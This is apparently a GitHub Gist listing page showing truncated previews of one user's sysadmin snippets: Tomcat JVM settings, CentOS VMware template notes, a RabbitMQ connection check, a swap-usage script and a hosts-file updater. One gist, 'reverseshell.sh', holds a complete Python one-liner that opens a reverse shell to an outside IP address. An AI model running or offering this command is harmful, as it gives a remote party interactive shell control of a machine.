Skip to content

Instantly share code, notes, and snippets.

@941zturn
941zturn / setenv.sh
Created March 1, 2018 03:39 — forked from terrancesnyder/setenv.sh
./setenv.sh - example setenv.sh with defaults set for minimal time spent in garbage collection
#! /bin/sh
# ==================================================================
# ______ __ _____
# /_ __/___ ____ ___ _________ _/ /_ /__ /
# / / / __ \/ __ `__ \/ ___/ __ `/ __/ / /
# / / / /_/ / / / / / / /__/ /_/ / /_ / /
#/_/ \____/_/ /_/ /_/\___/\__,_/\__/ /_/
# Multi-instance Apache Tomcat installation with a focus
# on best-practices as defined by Apache, SpringSource, and MuleSoft
@941zturn
941zturn / reverseshell.sh
Created December 26, 2017 09:30
reverse shell. nc -lvp 1234
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.12.192\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
@941zturn
941zturn / centos7_template
Created November 27, 2017 04:33 — forked from eye-scuzzy/centos7_template
CentOS 7.2 VMware vSphere 6 template with guest customization working
## Download latest CentOS 7 x86_64 minimal iso image
## Good readings
# https://labs.vmware.com/vmtj/methodology-for-performance-analysis-of-vmware-vsphere-under-tier-1-applications
# https://labs.vmware.com/vmtj/virtualizing-latency-sensitive-applications-where-does-the-overhead-come-from
## Create typical CentOS VM
# compatible with 'ESXi 6.0 and later'
# set 'Guest OS Family' to 'Linux'
# set 'Guest OS Version' to 'CentOS 4/5/6/7 (64 bit)'
@941zturn
941zturn / v2ex.py
Last active October 31, 2017 01:06
daily task
#!/usr/bin/env python
# coding:utf-8
import re
import sys
import logging
import requests
from bs4 import BeautifulSoup
def _log():
@941zturn
941zturn / check_rabbitmq_connection.py
Created September 27, 2017 09:28
Use Python script to verify that client can connect to the RabbitMQ message broker.
#!/usr/bin/env python3
# Check connection to the RabbitMQ server
# Source: https://blog.sleeplessbeastie.eu/2017/07/10/how-to-check-connection-to-the-rabbitmq-message-broker/
# import parser for command-line options
import argparse
# import a pure-Python implementation of the AMQP 0-9-1
import pika
# define and parse command-line options
#!/bin/bash
# Find out current screen width and hight
_COLUMNS=$(tput cols)
# Set default message if ( input not provided
_MESSAGE=" FBI Warining "
# Calculate x and y coordinates so that we can display $MESSAGE
# centered in the screen
y=$(( ( $_COLUMNS - ${#_MESSAGE} ) / 2 ))
spaces=$(printf "%-${y}s" " ")
# Alright display message stored in $_MESSAGE
@941zturn
941zturn / centos7-minimal-rpm-qa.txt
Created May 10, 2017 12:13 — forked from ozuma/centos7-minimal-rpm-qa.txt
Package Lists of CentOS 7 (minimal install)
ModemManager-glib-1.1.0-6.git20130913.el7.x86_64
NetworkManager-0.9.9.1-13.git20140326.4dba720.el7.x86_64
NetworkManager-glib-0.9.9.1-13.git20140326.4dba720.el7.x86_64
NetworkManager-tui-0.9.9.1-13.git20140326.4dba720.el7.x86_64
acl-2.2.51-12.el7.x86_64
aic94xx-firmware-30-6.el7.noarch
alsa-firmware-1.0.27-2.el7.noarch
alsa-lib-1.0.27.2-3.el7.x86_64
alsa-tools-firmware-1.0.27-4.el7.x86_64
audit-2.3.3-4.el7.x86_64
@941zturn
941zturn / getswap.sh
Last active February 27, 2017 05:33
Find Out What Is Using Your Swap
#!/bin/bash
# Get current swap usage for all running processes
# Erik Ljungstrom 27/05/2011
SUM=0
OVERALL=0
for DIR in `find /proc/ -maxdepth 1 -type d | egrep "^/proc/[0-9]"` ; do
PID=`echo $DIR | cut -d / -f 3`
PROGNAME=`ps -p $PID -o comm --no-headers`
for SWAP in `grep Swap $DIR/smaps 2>/dev/null| awk '{ print $2 }'`
do
@941zturn
941zturn / updatehosts.ps1
Last active July 17, 2017 15:40
Windows 10 powershell script to update hosts file
$url = "https://raw.githubusercontent.com/racaljk/hosts/master/hosts"
$path = "%SystemRoot%\System32\drivers\etc\hosts"
# param([string]$url, [string]$path)
if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) {
$path = Join-Path $pwd (Split-Path -leaf $path)
}
"Downloading [$url]`nSaving at [$path]"
$client = new-object System.Net.WebClient